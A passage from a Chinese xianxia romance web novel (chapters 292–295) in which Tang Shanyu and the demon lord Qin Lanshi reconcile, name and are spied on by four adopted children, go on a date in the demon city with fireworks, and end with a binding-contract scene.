谢璟出于心虚的本能也沉默了,可才沉默了一下,他突然想起自己为什么要怕这个人啊,当即就要反驳道:“我不……” “我不就是带个人吗!多大点事啊,我这就带。”谢璟直接带着顾延清推开窗户就走,并且不走门。 就这样,唰的一下,俩人消失在魔域的夜色里了。 “……真的很怕啊。”唐山玉看着那明显是落荒而逃的谢璟,叹了口气:“看上去,比起顾延清,他好像本能地更怕我。” 尽管唐山玉此时此刻还易容未去。 “…我并没有和他说,他捅你一剑的事情。”秦兰时瞅瞅唐山玉,然后伸出手悄咪咪地想要摸一下对方的小手。 “算了,能够知道他目前还有些许残留的意识就够了,顾延清过去能帮上不少忙,正好试试新款式的黑石能不能遮住那几个魔主的审视。”唐山玉收起手,然后准备起身回床上躺去。 “…嘤。”秦兰时小小的委屈了一声。 “我要睡觉了,明天还有事情干呢。”唐山玉说着,就微微将身上的外袍往下拉落些许,露出半个肩膀的薄衣。 “可是你都金丹后期了,也不用睡觉啊……”秦兰时见人走到床那边,也就委委屈屈地跟上去了,就这样,秦兰时跟着人到了床边,看着人掀起被子就要进去。 “……夜那么长,你说我不睡觉要做什么?”唐山玉淡淡地瞥了这人一眼。 秦兰时听到这话就嘿了一声,然后立马将自己身上的衣服脱了一半,直接滚上了唐山玉的床,努力地在床上试图搔首弄姿起来。 唐山玉低头看了这人努力的模样一眼,轻轻地笑了一声:“做什么?下去,这是我花钱买来的床。” 秦兰时听到这话,然后又把自己身上的衣服轻轻褪去些许,露出半个肩头,然后把自己头发弄乱些,眸光流转着,柔弱地往床上一躺,花绽于这床笫间,看上去非常让人怜惜。 唐山玉:…… 只见唐山玉笑了一下,然后…… 用被子把秦兰时卷起个毛巾卷丢到了床里面,然后就这样慢悠悠地躺了上去,背对着秦兰时就这样准备入眠了。 秦兰时:? 秦兰时想要挣扎出来,然而唐山玉那淡淡的话语让他消了这心思:“你敢出来,你日后都别想和我花前月下了。” 秦兰时瞬间就不动了,然后眼泪汪汪地看着唐山玉。 许是视线太扰人,又或许是心软了些许,唐山玉一个翻身过去,然后看着秦兰时,并且抬手轻轻为其整理起那凌乱的发丝。 “有什么事,明日再说吧。”唐山玉最后拍了拍这人的脑袋,再次转过身去,背对着人。 秦兰时弱小可怜又无助地蠕动蠕动了几下然后就默默靠在唐山玉的后背那,然后就安静下来不动了。 唐山玉就这样躺了一会儿后,转过身,将这人往怀里抱去,伴随着一声极小的叹息。 次日。 魔域早上,天不亮,但是四周的魔族都随之活动了起来,而唐山玉也早起拿着个小册子在那里写写画画。 “姜~公~子~”秦兰时拿着魔域的早点过来了,只见那早点又是豆浆又是包子的,看上去热气腾腾,应是现做现卖,美味得很。 林异就那么看着自己的楼主兼魔主拿着早点上赶着去找那姜公子,前不久还说人家这次过来肯定可疑的楼主大人正恨不得时刻黏人身上。 就一晚上过去,到底发生了什么。 林异不解,但是他尊重并且理解,于是他后退一步,继续处理其他事务去了。 在那头,唐山玉看到秦兰时过来了,便点了点头然后说:“嗯,你来了,刚好,你看看这计划书怎么样?” “…啊?什么?”秦兰时呆滞着。 “看完了我还要去看看建筑材料,顺便去找些可靠的工人,然后我还要实地考察………”唐山玉这样说着,然后用笔继续写写画画。 “等等等!你怎么那么多事干!”秦兰时震惊,但是依旧拿着早点。 “…魔主大人,您忘了吗?这是您给我们浮生阁进来你们念心城做大做强的多个要求中的其中之一二三啊。”唐山玉温和一笑,不作多言。 秦兰时想起来了,当初他非常警惕一切外来的,总觉得会是什么魔主的眼线还有那些看他不顺眼的正道要阴他,于是才故意罗列了一堆把对方当牛马使的要求,本想着对方会知难而退,谁知道对方全都一一答应下来了。 所以,这才有了姜公子与林异在魔域里的会面。 “…其实…这个也不是不能……”秦兰时试图给自己找补,总觉得他现在正疯狂扣分,他得找机会加上才行。 “我去干活了,魔主大人,早点您自己吃吧。”唐山玉一个转身,就往其他地方走,这一走,走得秦兰时可谓是大惊失色。 “…等等,等等啊!”秦兰时拿着早点急急忙忙地跟上去。 而在某个角落里,有四个人正悄咪咪地盯着这边看着,其中一个打扮得极为精致女子略有困惑地道:“…秦叔他这是……?什么情况?” 另一个打扮素雅的女子淡淡道:“不知道,但是看上去很心虚。” “我懂了!秦叔肯定是想和人打架!!”那长得较为壮实且高的男子眼睛一亮地发表了他的观点。 “喂喂喂~你以为谁都和你一样满脑子变强和打架啊?”一位头上别着张笑脸面具的潇洒男子笑着说:“依我看,其中的故事一定很好玩,不如我们再跟着瞅瞅?” “有道理。” “就那么办吧。” 于是…… 他们开始跟踪起秦兰时和唐山玉了。 第292章 跟呀跟 “你们以后想要叫什么名字呢?” 那人为他们摊开了书,翻着页,指尖所触碰的每一个字或许都有可能跟随着他们这一生。 名字。 他们也可以有名字了。 最会撒娇的小姑娘抓住秦兰时的袖子晃啊晃的:“我要!我要听上去特别漂亮的挺好好听的!” “哦?那你觉得什么样是最漂亮最好听的?”秦兰时笑嘻嘻地伸手摸了摸这小姑娘的脑袋。 “刚学字不久,我觉得她很适合那书上的阳。”另一个比较文静些的小姑娘瞥了这边一眼道。 “我知道了!你说的是!太阳!”那小姑娘听到这话当即回答出声,可说完后她又有些不明白了:“可是…太阳什么样的?” 魔域里没有太阳,只有昏沉的天空。 “唔…是非常漂亮非常刺眼的存在。”秦兰时想了想,然后给他们解释说:“它比火焰还要耀眼。” “那我要这个,那我要这个!!”听到这太阳那么好看,小姑娘当即乐开了花,然后她直接打滚着,直接扑进秦兰时的怀里撒娇道:“秦叔!要这个!给我取个这个!” “好好好~”秦兰时拍了拍这小姑娘的脑袋,然后提笔给这小姑娘写了她的名字:“那你看这天灼二字如何?姓就姓程吧,叫程天灼可好?” “好听!”小姑娘…不,程天灼眼睛一亮,当即挥舞起双手说:“我以后就叫程天灼啦!我有名字啦!而不是小贱人了!我觉得小贱人一点都不好听!” 秦兰时:…… “……哈哈,那小天灼记得后边告诉我是谁那么喊你的。”秦兰时又是笑又是气的,他说着然后又看向了另一个小姑娘:“你想要什么样的?” “……还没想好,秦叔,你让他们先选吧。”小姑娘摇了摇头,然后看向其他两个小子。 那两个小子其中有一个就开心自信地道:“我要起得霸气一点,听上去就特别强大特别不好欺负。” “嗯哼~既如此,不如取武作姓,唤作皓明吧,这名字听上去很威武大气呢。”秦兰时笑了笑,又提笔在纸上的程天灼旁边写下了武皓明三个字。 “武!武功盖世的武吗?是天下第一的武吗?”小男孩听到这话嘿嘿又嘿嘿,他满脸写着兴奋。 “好,你看上去话本子没少看啊,没收,以后给我好好学习。”秦兰时眼眸里的狡黠一闪而过,然后无情又残酷地剥夺了这孩子的话本子权利。 “啊———”武皓明拉长了声音,沮丧地坐在了另一边。 与此同时,另一个小男孩开口了:“秦叔,我想好了,我听我娘说了,我是在秋天出生的,我想要取和秋天有关的名字,而且她一直想我念书写字,名字如果能听上去特别有读书人的气质就好了。” “唔,秋吗?”秦兰时想了想,然后说:“那在凡间是一个极好的丰收季节。” “是吗?不过我没有什么感觉,毕竟我们这里没什么能吃的粮食。”这小男孩顿了顿然后说:“所以,秦叔,给我起一个吧,和秋天有关的名字。” “好啊。”秦兰时想名字倒也快,他先写下了秋一字,接着又在其上添加了一笔枕,名为枕秋,最后,在最上方写下了文的姓氏:“文枕秋你看如何?” “文枕秋……”小男孩念着这个名字,然后说:“好听,很好听,我娘会开心的,她一直想要给我起一个非常好的名字,只是她连她自己的名字都起不好,秦叔,等我以后识字了,我要给她起一个好听的名字,你到时候可以帮帮我吗?” “当然啦,我可是你秦叔呢~”秦兰时瞧瞧这懂事的孩子,难得叹了口气,然后说:“那么,小丫头,还差你了。” 那个曾经说着自己没有未来的小丫头正直勾勾地盯着他们瞧,瞧完后她说:“想要开心的,幸福的。” “开心幸福的?” “嗯,然后我要姓郑,因为我哥跟着他的我们的救命恩人姓这个,虽然后来也死了。”小丫头平静无比地说道。 “……”秦兰时沉默,这一天内,死这个字眼出现得有点多啊。 “好,我想想啊……不如你就叫……” “乐锦?你在想什么?”程天灼在旁边晃了晃手,试图让这个郑乐锦回一下神。 “我在想秦叔此举到底有何深意。”郑乐锦平静地回答着,并且指了指那边那个因为送不出早点正努力试图边走边喂的秦兰时。 “怎么?你们就没有人觉得秦叔对这个人的态度很不一样吗?”文枕秋在旁边开口道,他正笑嘻嘻地抱着从旁边买回来的魔域甜果子,正拿起一颗塞进嘴里吃着,末了还舔了舔手指:“往那边想,往那边想啊!” “…可是,秦叔不是有道侣吗?”程天灼大吃一惊:“他经常和我们说他和道侣的恋爱故事啊!” “嗯,对,还是正道的。”郑乐锦点点头,然后又说:“可是,最近我给秦叔打听过了,秦叔道侣并没有出门,那么这个姜公子是谁?” “管他是谁,我先过去试试他身手……”武皓明观察已久,于是他准备挽起袖子就过去试图发起约架邀请。 “等等,不要乱来。”文枕秋将这莽夫按住,“我们再看看秦叔什么样的态度。” “也好。”郑乐锦同意了文枕秋的话,紧接着,她就看到秦兰时跟着那姜公子跑到了石矿区了:“跟上。” “他们怎么一起进矿洞了!快跟上!”程天灼呀了一声,然后就急急忙忙地提起裙子紧跟上去。 “里面好像清理完毕了吧?”武皓明想了想这个矿洞应该是开发完的吧,应该不会有魔兽出现吧。 “不知道,反正有秦叔在,怕什么。”文枕秋无所谓地耸了耸肩。 于是四个小孩继续鬼鬼祟祟地跟着他们走。 “…你不管管后边那四只鬼鬼祟祟的家伙吗?”唐山玉正看着这矿石材质呢,突地转头和秦兰时低声道:“是你之前和我说的那四个孩子?” “对,对的!”秦兰时眨了眨眼,然后说:“怎么了?觉得他们打扰我们的二人世界,导致你不好意思和我贴贴了吗?” “……”唐山玉顿了顿,想说什么,但是最后又什么都没有说,他转头过去继续看石头了:“这个还挺合适的,不排斥我的灵力。” 既然要挑选能够组建商道的矿石,那么这种矿石必须又能和魔气亲亲热热,又能转头去和正道修士的灵力继续火热,总之,唐山玉要挑一个全都要的渣石。 “我这就让人去给你准备……”秦兰时眼睛一亮,当即就开始保证起来。 “不用了,我自己挖吧,我怎么舍得让你出人。”唐山玉淡淡地回绝了,目前他们只是抱抱,更近一步的亲热是没有的。 “……嘤。”秦兰时立马就闭嘴了,他知道,唐山玉现在估计还在气头上,不可能真的自己挖的,那也太牛马了。 “唔,这个也可以。”唐山玉继续挑挑拣拣,突地,他好像听到了一点水流的声音:“…嗯?” “唔,这里其实还有个魔气泉,不适合你去,真的,不是我不带你去,而是那里的魔气太浓郁了。”秦兰时察觉到唐山玉所想后,便给人解释道。 “…好。”不知为何,唐山玉的语气更淡了,情绪也更加平静。 接下来,唐山玉挑挑拣拣了一堆矿石后,就收进了秦兰时的储物袋里头,然后就准备出去了。 “那个啊,其实咱们也不急……”秦兰时跟上去,然后继续道:“我们应该先找可以开启商道的地方,再根据那里的情况……” “嗯,确实,就按照你所说的办吧。”唐山玉点了点头,然后说:“那我就先回去了。” “…你要回哪里去?”秦兰时小心翼翼地询问道。 “客栈。”唐山玉淡如水。 “现在你那个顾…护卫不在,你一个人在客栈太危险了!”秦兰时说着,然后一脸期待地说:“你看……” “你说得对,我还是快点考察完地形再回去浮生阁做准备吧。”唐山玉也不知到底吃软还是吃硬,他的语气依旧那么平静。 “……”秦兰时张了张嘴,想说点什么,但是又不会说了。 “…嗯,去你那吧,这次会有我的房间吗?魔主大人?”唐山玉瞥了这人一眼,缓缓地开口了,而此言正中秦兰时的下怀,他的眼睛又再次明亮了起来。 “有的!有的!”他的房间就是山玉的房间,到时候又能一起睡觉觉了。 那么一想,秦兰时就美滋滋了起来。 不是有句话说得好,床头吵架床尾和嘛!他回去就努力一下,看看能不能和和美美起来。 就这样,那四只小的就这样眼睁睁地看着他们俩在洞里悄悄话了一会儿后又出去了,并且这次他们去的方向好像还是秦兰时的住处,那个百年里从破旧变辉煌的宫殿。 “…这…这就带回家了吗?” 四只小的面露震惊。 速…速度好快。 第293章 不敢睡 初入宫殿。 抬头看去。 一座大大的秦兰时雕像立于院子中央,只见这秦兰时雕像手上拿着剑,剑指着天空,另一只手上拿着个酒壶,看上去潇洒又肆意。 唐山玉抬头看着这个雕像,沉默了一下,而秦兰时则大大咧咧地给他展示魔域工匠们的伟大:“你看!怎么样?好看吧?” “…嗯,是不错。”手艺的确很好,就是莫名的,唐山玉总觉得有些丢人……但是他把这些归结于自己面子薄,所以他尊重秦兰时的爱好:“所以,我房间呢?” “房间?这里这里!”秦兰时领着人就往他那大房间里过去,人也是发达了,走路都带着风,就这样,秦兰时带着唐山玉来到了他的大房子里头,里面的设施可谓是优雅又不掩其奢华。 高端,大气,上档次。 唐山玉淡淡地瞥了这里一圈,然后看到了那个床上,这个床上此时此刻正摆着个大大的抱枕,上面绣的是他,而上面的他正露出温柔的笑容,宛若春风拂面。 “……”又是一阵沉默,唐山玉看着这个大大的抱枕陷入了沉思,甚至这抱枕旁边还摆了一个长着和他很像的小玩偶。 “来,这是你要睡的床!”秦兰时无比兴奋地指给唐山玉看,被唐山玉看到他弄出来的抱枕和玩偶也不害羞,反倒是大大方方地说:“你看,这个像你吗?” “为了缓解思念,我可是每日都抱着他们睡觉的~”说着,秦兰时冲唐山玉抛了个媚眼,其意味不明,但是唐山玉抬起手打飞了这个爱心媚眼。 秦兰时:…… 嘤。 “我睡这里?”唐山玉垂下头瞥了这床,的确还挺大,看上去也软,只不过这厮的心思简直是压根没有想过藏。 “是呀是呀~”秦兰时连忙点头,并且无比期待地看着唐山玉:“喜欢吗?那么大的床都是你的!就连我……” “也是你的!” “……”唐山玉笑了笑,然后转过身来,伸手挑起秦兰时的下巴,语气亲昵地说着:“那么好啊?” “对啊对啊!”秦兰时看到这举动顿时兴奋了一下,但是很快又镇定一点,不能表现得太高兴,万一唐山玉突然间反骨起来不愿意了怎么办:“嗯,嗯,那你喜欢吗……” “…喜欢吧。”唐山玉用手指刮了刮秦兰时的下巴就离开了,他语气依旧淡淡的。 “…那你,怎么不喊我师父了……”秦兰时继续试图问问,这山玉的态度如今依旧让人捉摸不透。 “魔主大人说什么呢?”唐山玉依旧笑着,并不正面回答这个问题:“好了,谢谢,既如此,那我日后就睡这里了。” “…客气什么,这是应该的……”秦兰时干笑了一声,方才那迷乱的心思又没有了,现在他只能乖巧又乖巧地看着唐山玉在床边坐下来。 然后…… 秦兰时脸皮很厚地跟着唐山玉一起坐了下来,挨在一起,并且悄咪咪地伸手去牵一下,发现唐山玉这次没有躲,然后就直接十指相扣。 “山玉…那个……”秦兰时刚想说点什么,可下一刻,他身子猛然一僵,因为唐山玉将脑袋靠在他的肩膀上,那发丝轻轻地在他颈间作乱,扰得他心痒痒的。 “……” 秦兰时没有说话了。 就这样靠了一下后,唐山玉突地开口了:“所以,那四个跟着我们的小孩,你真不管管?再盯着我们看的话,我想做点什么都不好意思了。” “…我这就管!”秦兰时当即按住唐山玉肩膀,把他往枕头那里按住,顿时,那份柔软将唐山玉整个人所包裹:“等我一下,我很快就回来的。” 唐山玉一愣,然后就看着他急匆匆地往外走去,那脚步带着风,和他这个人一样来去匆匆那般,好似怎么样都停不住。 唐山玉回想着秦兰时方才那般话,他默默翻了一下身,伸手摸了摸那枕头,看一眼枕头上绣着的自己,还有那与他面对面的玩偶。 “等你一下,你很快就回来。”唐山玉这样重新说了一遍方才那话,说着说着,他似是有些无奈了,叹着气说:“骗子。” 而骗子秦兰时则走出去,打开门后,他没有看到人,而是默默地拍了拍旁边的柱子,霎时间,那四个人就从天而降,来到了秦兰时的身边。 他们异口同声道:“秦叔!!!” “他是谁呀?”程天灼先开口问道。 “秦叔,你要找第二个道侣了吗?没事,我们会给你瞒住的。”文枕秋尊重祝福,并且兴致勃勃地搓了搓手。 “秦叔,他厉害吗?”武皓明比起其他事情,他更在意这个:“他看上去好像不太能打的样子!” “秦叔,确定这人的身份没有异常吗?”郑乐锦关注于秦兰时的安危:“就这样让他在这里,没有关系吗?” “…问题好多啊,我就答一个吧,他没有问题,你们放心就好了。”于是,秦兰时选择回答正经的郑乐锦。 “这样啊。”郑乐锦点了点头,然后说:“好的,我明白了秦叔,你要加油。” “…啊,真是那样吗?”程天灼大惊,然后也点头说:“加油!” “…我懂了,秦叔你要加油!需要帮助就说!”文枕秋也大彻大悟了,并且积极地开口道。 “啊?啊?哦!加油!”武皓明的问题还没有答案呢,但是大家都喊加油了,于是他也跟着喊一声,毕竟他们四个人就应该整整齐齐。 “…好的。”秦兰时想了想他们目前的情况,的确需要加油一下,总之他苦笑道:“或许真的需要一下你们,好了,不说了,我得回去了,我答应过要早点回去的。” “好——”四个小的异口同声地点头应道。 尽管他们百年后已经各有各的的风姿了,但是在秦兰时眼里他们还是当初那四个扯着他,要他讲故事的小孩子。 总之,秦兰时回去后就看到唐山玉躺在枕头那里,双手交握于胸前,安安静静的,好似睡过去了那般。 “…山玉?我回来了。”秦兰时见人安静如鸡,以为人睡着了,就立马压低了声音喊道。 “嗯,回来了?”唐山玉没有睡着,在听到秦兰时喊他后就坐直了身子,他掀起一点床帘子看了看秦兰时。 “我还以为你睡了……”秦兰时见此就挨着唐山玉坐了下来,笑着道:“我还以为你还会睡那么快,毕竟这个床的确软~” “…不敢了。”唐山玉顿了顿,然后说:“之前睡完后,你就走了。” 秦兰时:…… 良心,在痛。 特别特别痛。 “我……”秦兰时还想说什么,就被唐山玉掐住了命令的后腰,止住了他那安慰的话语。 “你知道吗?你要是说安慰的话,我是一点都不想听的。”唐山玉笑了一下,没有多言:“要带我逛逛念心城吗?我还没好好看看你生活了百年的地方……” 突地,他好似想起了什么,开口道:“哦,还有那魏韵公子是你的心尖宠?” 秦兰时:? 污蔑啊!!! 等等。 之所以有这个谣言是有原因,因为当初他太贪魏韵身上的价值了,导致不许旁的魔乱动他,所以就谣言四起了,而这个谣言的用处也有不少,至少保证了魏韵的安全。 所以秦兰时就没有多管。 …… 再等等! 早知如此,当初林异说的时候,他就应该阻止一下。 因为当初事情发生了太快,秦兰时都要忘记在那魏韵公子那边的事情了,对,唐山玉当初好像直奔着魏韵过去的。 完了完了…… 唐山玉盯着那满头大汗的秦兰时,继续盯着,也没见人回,于是他说:“你不和我解释?居然在沉默。” 只是单纯在懊悔的秦兰时回过神后当即握住唐山玉的手保证道:“不是的!我的心尖宠!只有你啊!!!” 第294章 魔域约会 秦兰时说得可谓是情真意切,并且还打算列举了几百个唐山玉是心尖宠的原因,现在他已经把这个原因说到了第三十二个。 “嗯,好,我知道了。”唐山玉在这第三十二个原因里打断了秦兰时,他无比耐心地道:“信你的。” “…真的?”秦兰时长松一口气,然后说:“你要是不喜欢,我明天就让人把这谣言的源头给掐了。” “不必。”唐山玉摇了摇头,他无比体贴地说道:“毕竟这谣言还挺有用的,我信你的,你放心。” 话是那么说,但是秦兰时可谓是一点都不放心,所以他咽了一下口水道:“不是要逛念心城?我带你逛逛,刚好,现在还挺热闹的。” 魔域没有太阳,所以魔域里的灯是长明不灭的,唐山玉对于魔域的暗不是很习惯,让人觉得其冷了些,但是这里是秦兰时这百年里待着的地方。 “好。”唐山玉应了一声,随后他说:“你带路。” 秦兰时果断地拉起唐山玉往外走去,带路嘛,他最会带路了,而且这某种程度上也算是约会了。 一想到这里,秦兰时就恨不得多约上个好些天,让唐山玉好好感受一下他的魅力所在。 就这样,秦兰时带着唐山玉站在了魔域街头那约会,他们路过了一个奇怪的锅,锅里煮着漆黑翻涌的神奇汤水。 那魔族看到他们,尤其是秦兰时,开口就笑道:“魔主大人要不要尝尝,如果是大人您的话,免费的。” “呃?”秦兰时看了看那汤,刚想说不要的时候,旁边的唐山玉就开口应下了这口汤。 “魔主大人,喝吧。”唐山玉温和地接过那汤,递到了秦兰时的面前,他笑了起来,在秦兰时眼里,这是魔域里是少有的亮色。 “……”喝就喝,山玉亲自给汤,说明他爱我。 秦兰时勾起唇,然后拿起这汤就仰头喝下去,也不管味道怎么样,开口第一句就是:“好喝,好喝……” 奇了怪了,为什么他感觉到身体突然轻盈了起来,就连视野也…… 唐山玉淡定地伸手抓住秦兰时嘴里吐出的魂魄,慢悠悠地重新塞了回去,并且对那魔族温柔地道谢:“多谢,汤很不错。” 魔族听到这话眼睛一亮,他开心地说:“俺就说俺娘煮的汤好喝,嘿,我媳妇还不信!!这不,魔主大人都很满意。” 唐山玉看了一眼秦兰时那要飘散的魂魄,继续笑着道:“对啊,魔主大人这样强大的人都喜欢喝这汤,说明这个一定很好喝。” 这魔族的眼睛又是一亮,忙道:“对!对!这位公子说得对!俺的汤可是魔主大人夸过的!” 活招牌啊!这不就来了! 唐山玉把这个汤通过其他形式分享给魔族,让他们日后给秦兰时陪葬后就带着秦兰时继续往前走去了。 秦兰时走了几步就回过神来,他定眼瞧瞧这里是哪里,然后发现这里不就是他最喜欢来的戏台子吗?只见那戏台上面还吹着他在念心城的事迹,说什么七魔主大人一剑扫平整个魔域的魔物,让魔族可以栖息于此。 还有什么七魔主大人公正,为弱小的魔族主持公道啊。 其中一个节目居然是黑罗刹与白罗刹的琳琅会上击退群魔,一起怒骂琳琅会制度贪得无厌,最后携手怒斩枷锁,勾肩搭背地走上人生巅峰的故事。 “……”唐山玉看了看那黑白罗刹的戏,略有些许慕意,不过很快他又想起在修仙界自己和秦兰时那可歌可泣的爱情故事的传播情况。 对比一下,还是自己的可歌可泣爱情故事精彩些。 说起来他们俩的事情之所以暴露,也是因为秦兰时在外边太过于不掩饰了,毕竟新婚燕尔也是理所当然,而秦兰时和唐山玉又没遮脸,认得的人自然认得,只不过都看着当初的他们后台硬才不敢说。 但是在后边,后台不是很硬了,甚至苏岭月陨落了,再加上有心人的添油加醋,所以就在当初变成了攻击他的一种武器。 还是那句话,这个修仙界还挺看重尊师重道的,可能因为这修仙者要别的凡间红尘里不会有师父,毕竟,就连和尚也有大师傅啊。 不过这在魔域和合欢宗里都不是什么事儿。 “…好,好看吗?”秦兰时经常过来这里也只是为了听那些魔族怎么吹他,毕竟他真的有好好努力工作了一百年呢。 “嗯,好看。”唐山玉听到这话看过去,看秦兰时的目光温和无比:“是你就很好了。” 秦兰时:…… 秦兰时有些不习惯,他还是喜欢那个掐他后腰的唐山玉,这个太有礼貌了,甚至都不呛他了。 他们…他们也不是那种特别相敬如宾的小情侣啊。 而且,这种态度看上去就像在敷衍他。 其实唐山玉真没敷衍他,唐山玉只是单纯觉得是秦兰时的故事就很好了,毕竟是他不在的一百年里发生的事。 是的,唐山玉已经有些淡如水,并且准备说服一下自己放下生了百年的气,继续和秦兰时亲昵地厮混……但奈何,他至今好像还没说服成功。 不忍心是真的,但是想念也是真的,埋怨也是真的,对自己的埋怨也是真的。 秦兰时当初的行为可是在唐山玉心口上狠狠划了一道,让他明白有些事情看似是并肩同行了,但实力上的差距总是会让秦兰时多照顾他几分。 还是实力不够。 可是唐山玉想了想自己这百年里也很努力了,他也不是什么天才,而且别看他才金丹后期,他修炼速度已经是很快了,毕竟修炼越往后是越慢的。 谢璟那是有挂才一跃而起变成了两百多岁的化神期,他没有挂,所以是普通的两百多岁的金丹后期。 算了,不想那么多了。 唐山玉叹了口气,然后说:“走吧,去你经常去的地方吧。” “我经常去的地方吗?我喜欢逛小吃摊,还有成衣店,那古董店也很不错。”秦兰时闻言就拉着唐山玉就走,一边走一边和唐山玉他在这里都玩了什么,遇到过什么有趣的事情,因为他知道,唐山玉此时此刻只想听他说这些。 唐山玉也就耐心地听着了,他被秦兰时牵着手,走在他的后方,一步两步,踩着这个人的影子,慢悠悠地穿过无数盏明灯。 最后,秦兰时买了不少东西,都是给唐山玉的,而且他都不穷了,肯定要给最亲爱的道侣买最好的礼物。 就这样逛着,时间也走得很快,最后秦兰时带着唐山玉来到了高楼上,这让唐山玉有些恍惚,只因为当初的分别便是此番情景。 只不过与当初不同,这人正站在他的身边,握住他的手。 “对了,因为我吩咐过了,所以会有很好看的烟花看,而我试过了,在这里看烟花是最漂亮的。”秦兰时一把将唐山玉拉起来,一起坐到墙边上,他拿出了点心和清茶:“当初烟花放出来的时候,他们可开心了。” “因为魔域里的天空啊,一颗星星都看不见,也没有月亮,所以那么无聊的天空突然出现这漂亮的烟花,他们都直夸我英明神武呢~” 唐山玉拿起一块点心送入嘴里,甜的,里面似乎还夹着酸酸的果干。 “其实我稍微了解过发现,这些魔族虽然魔血里的好战基因一直在,但是如果能和平他们也是愿意的,因为大家都想要吃饱饭穿漂亮衣服。” 说着,一朵烟花在空中绽放开来,五颜六色的星火落在天际,它们似乎让魔域的昏沉天空变得熟悉起来。 有点像来到了人间。 接着,无数朵烟花依次在空中绽放着,那流动的彩色牵动着这座城的心,唐山玉可以听到那些魔族在底下开心的笑声。 烟花里的火药其实还有另一种用途,但是如果能用在漂亮的表演上,又何乐而不为呢? …… 或许,这座城花了百年才终于活起来了。 唐山玉心想,他这个道侣啊就是很能干啊,哪有什么离了他不行的样子嘛。 不过,现在的秦兰时很帅气,唐山玉还想多看一会儿。 看着看着,唐山玉想起他好像还有东西要送给这人,于是他转身去取那储物袋,掏啊掏的,就这样,他掏出了一件精巧的玉玦,上面刻着字。 就在唐山玉要递给秦兰时之际,突地,下方好像出现了什么骚乱,有人大喝了一声:“站住!!你们是从哪里来的?!” 然后就是一阵刀光剑影的混乱声。 秦兰时听到了也感知到了那几人的踪迹,并且微微眯起眼,就在唐山玉以为人要直接过去的时候,秦兰时拉住了他的手。 “走,一起去看看。”趁着这个侧身的机会,秦兰时在唐山玉脸上轻轻落了一吻,并且得逞似地笑道:“如何呢?我的小道侣?” 唐山玉没应,但是不得不说秦兰时这招哄得很好,所以就算没有应,但是那略红的耳朵已经出卖了唐山玉。 唐山玉也知道自己脸红了,所以才没有出声,秦兰时见此就哈哈大笑,然后直接拉着人从高楼上一跃而下。 伴着风,潇洒地带着人离开了这高楼。 …… 越对比越觉得当年秦兰时真是过分啊。 跟着一起下高楼不走楼梯也不坐电梯的唐山玉默默地收起了方才的心动。 所以凭什么当初不带他一起跳高楼。 唐山玉对此记了一百年。 第295章 结契 下边其实没什么事,只是有些不知道哪里来都来了外来人士在闹事,该有的都由渊行楼出面解决了,整个过程秦兰时拉着唐山玉在人群里围观。 唐山玉看了看被握住的手,嘴唇动了动,然后将其握得更紧了,秦兰时感觉到唐山玉的这个小动作,当即用力反握回去。 而在渊行楼里就有那方才那四只的身影,他们忙忙碌碌地指挥这个,指挥那个,其中那郑乐锦的气压很低,阴沉沉地瞥向这闹事的人。 而程天灼好似感应到了什么,转头朝这边看过来,在看到秦兰时的时候她刚想打个招呼,可在看到秦兰时身后的唐山玉后,她就没有打招呼了。 出于第六感,她觉得他们俩应该比较想要个二人世界。 在事情结束后,那闹事的几人被渊行楼押了走,秦兰时见这热闹结束并且不用自己插手后,就笑了笑拉着唐山玉离开了。 在离开的时候,他给唐山玉买了街上的冰糖葫芦,这里的果子偏酸,所以糖加得也多,一口下去唐山玉感觉到这口满是甜,腻得慌,可果子的过酸又恰好缓解了这一点。 “山玉,逛完我们就回去睡……”秦兰时见人吃得还挺开心,就清咳了一声开口道:“今个儿我喊他们都不要过来找我……” 唐山玉先前那句想要做点什么被秦兰时记在心里了,一想到这个秦兰时就心痒痒的,虽然抱抱也可以,但是他更想要亲亲。 听到这话后,唐山玉吃糖葫芦的动作一顿,抬眸看去,就看到了秦兰时那正直无比的眼神。 秦兰时期待地看。 唐山玉继续啃糖葫芦。 秦兰时迫不及待地看。 唐山玉慢悠悠吃糖葫芦。 秦兰时要哭不哭地看。 唐山玉停止了吃糖葫芦。 “嗯,明白了。”确实,他也忍差不多了。 秦兰时听到这句好像要完成任务的冷淡后,连忙开口道:“不行也可以,抱着睡也不行,我不勉强你!” “不用。”唐山玉吃完了糖葫芦,就把那棍子用火物理清理掉后,然后一把拉过秦兰时往回去的路上赶。 秦兰时感觉到唐山玉的一种急切,当即就心花怒放,但是他不能表现出来,万一没有肉吃了怎么办。 就在俩人手牵手回去后,关上门,唐山玉就立马将秦兰时推床上,化神大能秦兰时娇弱地往床上躺去,并且羞涩地准备扯下自己的半边衣服。 可下一刻,唐山玉拿出一个东西盖住了他的脑袋。 秦兰时不明所以要扯,但是他眨了眨眼,发现这是一个红布,红布盖头意味着什么呢,秦兰时明白了一切,并且无比配合地端坐起来。 说起来,在游历期间,他们不是没有进行过夫夫结婚的角色扮演,不过这是百年后的第一次,也是值得纪念的。 也不知唐山玉窸窸窣窣在干什么,秦兰时在想,这人怕是在做结婚的准备吧,这样想,他就继续羞涩地端坐着,等人过来掀盖头,为了惊喜也不用神识去看唐山玉在做什么了。 过了一会儿,唐山玉并没有过来掀盖头,而是先伸出手扣住了秦兰时的手,十指紧扣于一起,并且身躯也往前倾来,将秦兰时逼得往后靠去,柔软的枕头抵住了秦兰时的后腰。 彼此呼吸在刹那急促了起来。 好像有什么烧灼起来,经过百年的等待,这场忍耐已久的静水似乎终于再次涌去,情海无边,唯余欢情人。 秦兰时不知唐山玉为何一边扣住他的手一边亲吻他的脖颈,甚至还不让他把盖头掀开看看人的脸,唯有那人的呼吸逐渐长绵。 与此同时,唐山玉的手轻抚着湖边那飘浮的花瓣而过,那泛起的涟漪让秦兰时忍不住绷紧的身子。 “…山…山玉……”秦兰时此时的声音沙哑了些许,旱池渴求着天降的甘霖,他不由得往前去探去,想要获取更多。 “嘘……”唐山玉那含着笑意语气在秦兰时勾了好几下,让人心痒不已。 就在要秦兰时意乱情迷之际,突地,他猛地清醒了过来,并且想要起身,可唐山玉也不甘示弱地将人压回了床上去。 一阵混乱间,秦兰时那头上的红盖头也凌乱地掀起一角,而透过这抹红,秦兰时看到不知何时他们相扣的手上浮现出一道红色的咒文。 那咒文正渐渐地融入他们的手背中,粘稠的灵力丝线在此刻布满了整个屋子,而唐山玉也在此时看着他,脸上的伪装已然被去掉,熟悉的面容以这种方式闯入秦兰时的视线,并且还露出了如秦兰时一直以来所思念的温柔笑容。 